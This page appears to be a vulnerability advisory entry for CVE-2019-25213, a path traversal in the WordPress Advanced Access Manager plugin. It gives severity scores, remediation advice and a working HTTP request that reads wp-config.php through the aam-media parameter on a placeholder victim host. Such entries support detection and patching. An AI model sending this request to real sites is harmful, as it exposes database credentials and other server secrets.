| Title | WordPress Advanced Access Manager - Path Traversal |
|---|---|
| Author | riteshs4hu |
| Severity | Critical |
| Impact | Unauthenticated attackers can read sensitive files like wp-config.php, leading to information disclosure and potential further exploitation. |
| Remediation | Update to the latest version of the plugin that addresses this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.3958 |
| CVE ID | CVE-2019-25213 |
| CWE ID | CWE-264 |
| Tags | cve cve2019 wordpress wp-plugin wp advanced_access_manager lfi vkev |
The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php
GET /wp-admin/admin-ajax.php?action=aam-media-load&aam-media=/wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-25213.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-25213.pcap
N/AN/A